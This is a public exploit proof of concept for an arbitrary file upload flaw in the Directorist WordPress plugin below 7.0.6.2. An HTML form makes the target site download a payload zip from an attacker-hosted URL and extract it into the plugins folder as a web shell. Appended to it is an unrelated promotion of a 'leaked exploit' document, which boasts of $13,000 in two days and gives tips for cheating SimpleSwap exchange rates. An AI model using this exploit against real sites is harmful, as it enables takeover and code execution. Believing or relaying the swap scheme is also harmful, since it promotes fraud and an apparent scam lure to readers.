Directorist < 7.0.6.2 remote file upload exploit vulnerability

<?php
/*
POC: Upload files to the plugins folder of any site running directorist < 7.0.6.2
Can be used to upload PHP files or replace a whole active plugin.

1. Register / Login as user (subscriber will do).
2. Paste below HTML into any page on site.
3. Replace [target-site] with the target URL.
4. Repalce [site-with-payload-zip] with the URL hosting your zip file and submit the form.
5. Zip file contents will be extracted in plugins folder https://[target-site].com/wp-content/plugins/shell.php
*/
?>
<form action="https://[target-site].com/wp-admin/admin-ajax.php" method="post">
  <input type="text"  name="action" value="atbdp_download_file"><br>
    <input type="text"  name="download_item[download_link]" value='https://[site-with-payload-zip].com/payload.zip'><br>
    <input type="text"  name="download_item[skip_licencing]" value='true'><br>
    <input type="text"  name="download_item[permalink]" value='true'><br>
    <input type="text"  name="type" value="plugin"><br>
  <input type="submit" value="Submit">
</form>
✅ Leaked Exploit Documentation:

https://docs.google.com/document/d/1dOCZEHS5JtM51RITOJzbS4o3hZ-__wTTRXQkV1MexNQ/edit?usp=sharing

This made me $13,000 in 2 days.

Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 25% — they will simply correct the exchange rate.
The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.

Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from SimpleSwap — instant swap).